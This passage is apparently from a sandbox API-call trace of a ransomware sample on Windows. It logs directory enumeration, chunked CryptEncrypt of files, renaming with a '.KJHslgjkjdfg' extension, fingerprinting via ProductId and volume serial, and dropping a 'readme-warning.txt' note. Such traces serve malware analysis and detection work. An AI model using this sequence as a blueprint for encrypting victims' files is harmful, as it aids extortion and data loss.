hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.754] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0166.755] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb808d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.755] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0166.755] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3d5800, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0166.755] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0166.767] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0166.771] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3d5800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.771] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0166.776] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb808d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.776] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0166.777] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb40800, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0166.777] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0166.781] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0166.784] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb40800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.784] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0166.785] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb808d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.785] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0166.785] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.785] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb808d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.785] SetEndOfFile (hFile=0x124) returned 1 [0166.788] GetProcessHeap () returned 0x2ef0000 [0166.788] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0166.788] GetProcessHeap () returned 0x2ef0000 [0166.788] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0166.788] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.kjhslgjkjdfg")) returned 1 [0167.390] CloseHandle (hObject=0x124) returned 1 [0167.390] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 1 [0167.390] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0167.391] GetProcessHeap () returned 0x2ef0000 [0167.391] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0167.391] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0167.391] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0167.391] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0xd, lpOverlapped=0x0) returned 1 [0167.393] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0167.394] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0167.394] GetProcessHeap () returned 0x2ef0000 [0167.394] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0167.394] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40) returned 1 [0167.394] CryptDestroyKey (hKey=0x2f18208) returned 1 [0167.394] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f8*=0x40, lpOverlapped=0x0) returned 1 [0167.394] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0167.394] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0167.394] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0167.394] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0167.395] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0167.395] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0167.395] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0167.395] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.395] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2213, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0x2213, lpOverlapped=0x0) returned 1 [0167.396] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x2220, dwBufLen=0x2220 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x2220) returned 1 [0167.396] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.396] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0x2220, lpOverlapped=0x0) returned 1 [0167.397] CryptDestroyKey (hKey=0x2f18208) returned 1 [0167.397] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x22f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.397] SetEndOfFile (hFile=0x124) returned 1 [0167.400] GetProcessHeap () returned 0x2ef0000 [0167.400] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0167.400] GetProcessHeap () returned 0x2ef0000 [0167.400] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0167.400] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.kjhslgjkjdfg")) returned 1 [0167.402] CloseHandle (hObject=0x124) returned 1 [0167.402] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 0 [0167.402] GetProcessHeap () returned 0x2ef0000 [0167.402] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0167.402] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0167.402] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dff330 | out: pbData=0x2f0c898, pdwDataLen=0x4dff330) returned 1 [0167.402] CryptDestroyKey (hKey=0x2f18208) returned 1 [0167.402] GetProcessHeap () returned 0x2ef0000 [0167.402] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0167.402] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0167.402] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dff330 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dff330) returned 1 [0167.402] CryptDestroyKey (hKey=0x2f18208) returned 1 [0167.402] GetProcessHeap () returned 0x2ef0000 [0167.402] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f3d270 [0167.403] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0167.403] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f3d270, pdwDataLen=0x4dff330 | out: pbData=0x2f3d270, pdwDataLen=0x4dff330) returned 1 [0167.403] CryptDestroyKey (hKey=0x2f18208) returned 1 [0167.403] GetProcessHeap () returned 0x2ef0000 [0167.403] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0167.403] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0167.403] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfef10 | out: pbData=0x2f0c928, pdwDataLen=0x4dfef10) returned 1 [0167.403] CryptDestroyKey (hKey=0x2f18208) returned 1 [0167.403] GetProcessHeap () returned 0x2ef0000 [0167.403] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0167.403] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0167.403] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfef10 | out: pbData=0x2f11778, pdwDataLen=0x4dfef10) returned 1 [0167.403] CryptDestroyKey (hKey=0x2f18208) returned 1 [0167.403] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfef0c | out: phkResult=0x4dfef0c*=0x124) returned 0x0 [0167.403] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfef18, lpcbData=0x4dfef14*=0x400 | out: lpType=0x0, lpData=0x4dfef18*=0x30, lpcbData=0x4dfef14*=0x18) returned 0x0 [0167.404] RegCloseKey (hKey=0x124) returned 0x0 [0167.404] GetProcessHeap () returned 0x2ef0000 [0167.404] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0167.404] GetProcessHeap () returned 0x2ef0000 [0167.404] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0167.404] GetProcessHeap () returned 0x2ef0000 [0167.404] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0167.404] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0167.404] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfece4 | out: pbData=0x2f11778, pdwDataLen=0x4dfece4) returned 1 [0167.404] CryptDestroyKey (hKey=0x2f18208) returned 1 [0167.404] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0167.404] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0167.404] GetProcessHeap () returned 0x2ef0000 [0167.405] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0167.405] wsprintfA (in: param_1=0x4dfef2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0167.405] wsprintfA (in: param_1=0x4dff33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0167.405] GetProcessHeap () returned 0x2ef0000 [0167.405] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f3d638 [0167.405] wsprintfW (in: param_1=0x4dfe30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0167.405] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0167.405] WriteFile (in: hFile=0x124, lpBuffer=0x2f3d638*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfe308, lpOverlapped=0x0 | out: lpBuffer=0x2f3d638*, lpNumberOfBytesWritten=0x4dfe308*=0x3b3, lpOverlapped=0x0) returned 1 [0167.406] CloseHandle (hObject=0x124) returned 1 [0167.407] GetProcessHeap () returned 0x2ef0000 [0167.407] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3d270 | out: hHeap=0x2ef0000) returned 1 [0167.407] GetProcessHeap () returned 0x2ef0000 [0167.407] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3d638 | out: hHeap=0x2ef0000) returned 1 [0167.407] GetProcessHeap () returned 0x2ef0000 [0167.407] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0167.407] GetProcessHeap () returned 0x2ef0000 [0167.407] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0167.407] FindClose (in: hFindFile=0x2f181c8 | out: hFindFile=0x2f181c8) returned 1 [0167.407] GetProcessHeap () returned 0x2ef0000 [0167.407] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16bd8 | out: hHeap=0x2ef0000) returned 1 [0167.407] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~2")) returned 0 [0167.408] FindClose (in: hFindFile=0x2f122c8 | out: hFindFile=0x2f122c8) returned 1 [0167.408] GetProcessHeap () returned 0x2ef0000 [0167.408] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16990 | out: hHeap=0x2ef0000) returned 1 [0167.408] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 0 [0167.408] FindClose (in: hFindFile=0x2f14a78 | out: hFindFile=0x2f14a78) returned 1 [0167.408] GetProcessHeap () returned 0x2ef0000 [0167.408] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16758 | out: hHeap=0x2ef0000) returned 1 [0167.408] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xaece4da0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0xffff, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0167.408] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffff, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0167.408] GetProcessHeap () returned 0x2ef0000 [0167.408] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x28) returned 0x2f17838 [0167.408] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*.*", lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x2f181c8 [0167.409] GetProcessHeap () returned 0x2ef0000 [0167.409] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17838 | out: hHeap=0x2ef0000) returned 1 [0167.409] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0167.409] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Admin", cAlternateFileName="")) returned 1 [0167.409] GetProcessHeap () returned 0x2ef0000 [0167.409] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x22a) returned 0x2f16758 [0167.409] GetProcessHeap () returned 0x2ef0000 [0167.409] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x34) returned 0x2f18208 [0167.409] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\Admin\\*.*", lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18248 [0167.409] GetProcessHeap () returned 0x2ef0000 [0167.409] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f18208 | out: hHeap=0x2ef0000) returned 1 [0167.409] FindNextFileW (in: hFindFile=0x2f18248, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0167.409] FindNextFileW (in: hFindFile=0x2f18248, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, 